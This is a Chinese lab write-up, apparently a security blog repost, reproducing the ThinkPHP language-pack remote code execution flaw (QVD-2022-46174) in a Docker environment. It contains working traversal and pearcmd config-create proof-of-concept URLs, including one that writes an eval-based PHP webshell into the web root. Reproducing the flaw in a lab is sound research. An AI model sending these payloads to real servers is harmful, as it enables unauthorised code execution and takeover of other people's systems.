一、漏洞描述
ThinkPHP是一个开源免费的,快速、简单的面向对象的轻量级PHP开发框架,是为了敏捷WEB应用开发和简化企业应用开发而诞生的。
近日,被爆出存在ThinkPHP远程代码执行漏洞(QVD-2022-46174),即当ThinkPHP开启了多语言功能时,攻击者可以通过lang参数和目录穿越实现文件包含,当存在其他扩展模块如 pear 扩展时,攻击者可进一步利用文件包含实现远程代码执行(getshell)。
如果 Thinkphp 程序一旦开启了多语言功能,攻击者可以通过 get、header、cookie 等位置传入参数,实现目录穿越+文件包含,通过 pearcmd 文件包含的方法即可实现 RCE。
二、影响范围
v6.0.1 < Thinkphp < v6.0.13
Thinkphp v5.0.x
Thinkphp v5.1.x
三、漏洞复现
基础环境:
1、centos系统
2、thinkphp 6.0.12
使用docker搭建环境
docker pull vulfocus/thinkphp:6.0.12
拉取成功之后运行镜像
docker run -d -p 8081:80 IMAGE ID
然后访问如下地址,可以看到thinkphp成功部署了
http://xx.xx.xx.xx:8081/public/index.php
如上图所示可以看到thinkphp已经安装部署完成了。
通过漏洞通报可以知道,此次漏洞的前置条件是需要开启多语言功能
ThinkPHP 6
打开app/middleware.php
如果 thinkmiddlewareLoadLangPack::class 没有注释,代表着受此漏洞影响。
ThinkPHP 5
打开config/app.php,如果 'lang_switch_on' 为 true,代表着受此漏洞影响。
因此先进入容器进行查看是否满足前置条件
docker ps -a
docker exec -it CONTAINER ID bash
进入到app目录查看middleware.php文件的内容,如下
可以看到这里确实没有注释,也就是说是满足漏洞存在条件的
其次,因为这个漏洞的深入利用要借助到pearcmd的文件写入技巧,所以还需要查看pearcmd所在的路径
查看漏洞环境中pearcmd的路径是在
/usr/local/lib/php/
如下图所示
到这里漏洞复现所需要的前置条件都已经满足了,那么测试下列poc
# 写文件
http://xx.xx.xx.xx:8081/public/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/& =phpinfo() +/tmp/hello.php
# 包含文件
http://xx.xx.xx.xx:8081/public/index.php?lang=../../../../../../../../tmp/hello
# 直接写一句话木马
http://xx.xx.xx.xx:8081/public/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/ =@eval($_REQUEST['ant']); +/var/www/html/ant.php
首先进行写入文件测试
得到响应之后查看tmp目录下是否成功写入
经过前后对比可以发现确实将<?=phpinfo()?>
成功写入到了tmp目录下的hello.php文件中了。
接下来测试文件包含的poc
可以看到hello.php文件的代码确实被包含执行了。
最后就是直接写入一句话木马进行getshell了。
直接用蚁剑连接测试
根据这个漏洞的通报可以知道,攻击者可以通过 get、header、cookie 等位置传入参数,实现目录穿越+文件包含,通过 pearcmd 文件包含的方法即可实现 RCE。那么接下来对几个位置传入参数进行测试
1、利用Header写入文件,如下图:
2、利用Cookie写入文件,如下图:
这里主要是利用pearcmd.php这个pecl/pear中的文件。pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定--with-pear才会安装。
不过,在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php。由此看来该漏洞对Docker中运行的启用了多语言模块的ThinkPHP影响较大。
四、pearcmd文件包含注意事项
使用pearcmd进行文件包含的前提是开启了register_argc_argv
如果存在php.ini的话,默认是Off。如果没有php.ini则默认是On。
开启之后,$_SERVER['argv']
就会生效。
1、cli模式下,不论是否开启register_argc_argv
,都可以获取命令行或者说外部参数
如果开启了,第一个参数$_SERVER['argv'][0]
是脚本名,其余的是传递给脚本的参数
2、web模式下,只有开启了register_argc_argv,才可以获取外部参数
$_SERVER['argv'][0] = $_SERVER['QUERY_STRING']
argv,argc在web模式下不适用
PHP官方提供的镜像里面也是默认没有php.ini,所以也是默认开启了这个register_argc_argv
:
这里因为是用的thinkphp框架,所以浏览器访问属于是web模式,而复现的环境中用的是php的镜像,所以也是默认开启了register_argc_argv
。
值得注意的是刚才上面的poc中参数值之间用的是+而不是以前的&,这是因为在web模式中argv是通过+作为分隔符来获取不同参数值的。
http://xx.xx.xx.xx:8081/public/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?=phpinfo()?>+/tmp/hello.php
这个poc的意思是lang参数的值是调用了pearcmd.php文件,接着又使用了其中的config-create命令。
该命令需要传入两个参数。
其中第二个参数,比如/tmp/hello.php是写入的文件路径,第一个参数则是写入到这个文件中的具体内容。
config-create
通过查看源码,再对比poc的构造,理解了为什么需要在config-create后面添加一个/
。
大致就是变量设置为<root path>
的子目录并保存在<filename>
中
由此处还可以看出<root path>
还需要以 /
开头,作为父级目录
加上/
之后即可成功写入
如果少了两个必要参数值会显示如下错误
因此,使用config-create命令时,除了两个必要的参数值之外,还需要加入/
作为父级目录,这里可以理解为三个参数的形式,也可以理解为第一个参数的值最开始必须以/
作为开头。
参考链接
https://blog.csdn.net/weixin_45751765/article/details/121628030
https://blog.csdn.net/RABCDXB/article/details/122050370
https://blog.csdn.net/JCPS_Y/article/details/127541665
原文始发于微信公众号(守卫者安全):ThinkPHP远程代码执行漏洞复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论